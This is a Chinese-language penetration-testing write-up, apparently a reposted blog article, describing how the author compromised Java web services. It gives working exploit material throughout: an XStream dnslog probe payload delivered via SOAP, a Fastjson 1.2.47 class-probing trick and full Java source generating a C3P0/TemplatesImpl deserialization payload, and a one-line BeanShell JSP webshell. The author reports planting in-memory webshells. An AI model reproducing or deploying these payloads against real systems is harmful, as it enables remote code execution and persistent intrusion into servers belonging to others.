扫到一个非常熟悉的页面,soap协议会给出调用协议的具体方法,每个参数都可见,从方法名+参数名能大概猜出来这个接口是干嘛的。
http://127.0.0.1/services/updateService?wsdl
soap协议xml传参非常啰嗦,直接访问这个页面或者将带wsdl的链接扔给SoapUI可以自动帮我们生成http包。
比如实战中发现的一个接口。
Accept-Encoding: gzip,deflate
Content-Type: text/xml;charset=UTF-8
SOAPAction: ""
Connection: Keep-Alive
User-Agent: Apache-HttpClient/4.5.5 (Java/16.0.2)
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ws="http://ws.business.sms.star.com">
<soapenv:Header>
<soapenv:Body>
<web:synchroXmlData>
<arg0></arg0>
</web:synchroXmlData>
</soapenv:Body>
</soapenv:Envelope>
可以看的出来它可以传参xml,是的,xml中套xml,这种情况可以尝试XXE或者XStream/XMLEncoder的payload。但是要注意,xml传参xml,需要使用html编码或者<![CDATA[]]>标签。
在这次项目中,使用XStream的dnslog payload成功确认该项目用的XStream。
<map>
<entry>
<url>http://dnslog.cn</url>
<string></string>
</entry>
</map>
尝试用低版本直接命令执行的payload打,发现抛错中存在版本号。
从官方通报来看,这个版本刚好是最后可RCE的版本,后面都是拒绝服务了。
http://x-stream.github.io/security.html
从利用的方便程度来看,当然要选择CVE-2021-39139这个不出网直接打TemplatesImpl的链,不过注意官方给出的链有坑,详情见。
https://xz.aliyun.com/t/10619
最终成功回显并打入内存马。
2. Fastjson1.2.47不出dns
某个不出网不出dns的fastjson,本来网络策略已经隐藏的很好了,但项目却愚蠢的因为报错发现是1.2.47。因此吸引了我的注意力。
1.2.24-1.2.47的不出网打法,已经在【一次实战不出网fastjson1.2.31】这篇文章中说烂了,回顾一下。
1,tomcat DataSource+Bcel
2,其他DataSource+Bcel
3,C3P0二次反序列化
4,h2
在【盲判断目标的fastjson版本】一文中详细说过了fastjson允许插入一个不报错的KV,以此来盲判断fastjson版本。举一反三,同样可以利用该机制来盲判断此项目的依赖。
{
"username": "admin",
"password": "123456",
"test": {
"a": {
"@type": "java.lang.Class",
"val": "org.apache.tomcat.dbcp.dbcp.BasicDataSource"
},
"b": {
"@type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
}
}
}
不报错则说明org.apache.tomcat.dbcp.dbcp.BasicDataSource可以实例化,存在这个类。
探测之后,愉快的再次选择了C3P0二次反序列化链。既然是二次反序列化,那么就需要找原生反序列化链,我第一时间想的是我用顺手了的Urldns进行class探测,然而该项目却不出DNS。
所以还是需要用到上面那个fastjson小技巧进行class探测,得从Urldns的源码中拿出那些区分小版本的独立类。
然而看着看着眼前一亮,fastjson当然有fastjson链啊!那么就可以拼凑代码,写出回显payload了。
package test;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import javax.management.BadAttributeValueExpException;
import com.alibaba.fastjson.JSONArray;
import com.alibaba.fastjson.JSON;
public class fastjson_c3p0_fastjson {
public static void main(String[] args) throws Exception {
FileInputStream inputFromFile = new FileInputStream("D:\Downloads\TemplatesImplTomcat678910cmdecho.class");
byte[] bs = new byte[inputFromFile.available()];
inputFromFile.read(bs);
//new FileOutputStream("bs.txt").write(Arrays.toString(bs).getBytes());
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{bs});
setFieldValue(obj, "_name", "TemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
JSONArray jsonArray = new JSONArray();
jsonArray.add(obj);
BadAttributeValueExpException bd = new BadAttributeValueExpException(null);
setFieldValue(bd,"val",jsonArray);
HashMap hashMap = new HashMap();
hashMap.put(obj,bd);
ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream os = new ObjectOutputStream(out);
os.writeObject(hashMap);
byte[] payload = out.toByteArray();
String payloadHex = bytesToHex(payload, payload.length);
String payload2 = "{rn"
+ " "a": {rn"
+ " "@type": "java.lang.Class", rn"
+ " "val": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"rn"
+ " }, rn"
+ " "b": {rn"
+ " "@type": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource", rn"
+ " "userOverridesAsString": "HexAsciiSerializedMap:"+payloadHex+";"rn"
+ " }rn"
+ "}";
System.out.println(payload2);
//JSON.parseObject(payload2);
FileOutputStream fileOutputStream = new FileOutputStream("fastjson_c3p0_fastjson.json");
fileOutputStream.write(payload2.getBytes());
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static String bytesToHex(byte[] bArray, int length) {
StringBuffer sb = new StringBuffer(length);
for(int i = 0; i < length; ++i) {
String sTemp = Integer.toHexString(255 & bArray[i]);
if (sTemp.length() < 2) {
sb.append(0);
}
sb.append(sTemp.toUpperCase());
}
return sb.toString();
}
}
效果如下
3. 低版本tomcat限制长度的文件上传
发现一个tomcat的文件上传,确切来说是文件写入。由于是data={}这种json传参,且该项目似乎是自己写的一个json解析器,对很多特殊字符不支持,也没法用x42这种转义,最终尝试发现可以双URL编码写入特殊字符。
在尝试过程中又发现写入内容的长度被限制了,不至于特别短,但想写冰蝎马那是别想了。
Java最短的webshell当然是Runtime命令执行,命令执行上cs/msf呢?遗憾的是不出网,甚至长度也不够写命令回显。
这种类似CTF题一样,很多人都会想到这不正好用EL表达式吗?的确el表达式有很多奇奇怪怪的用法,特别是高版本tomcat,支持param.cmd来传参就能用很短的语句getshell。但此项目是版本很低的tomcat<=6。似乎直接就不支持EL表达式。
最终多次尝试发现它有bsh依赖,那么写入一个很短的bsh代码执行webshell。
<%bsh.Interpreter.class.newInstance().eval(request.getParameter("i"));%>
最终成功回显并打入内存马。
原文始发于微信公众号(珂技知识分享):某次支援打点——你对java有多熟悉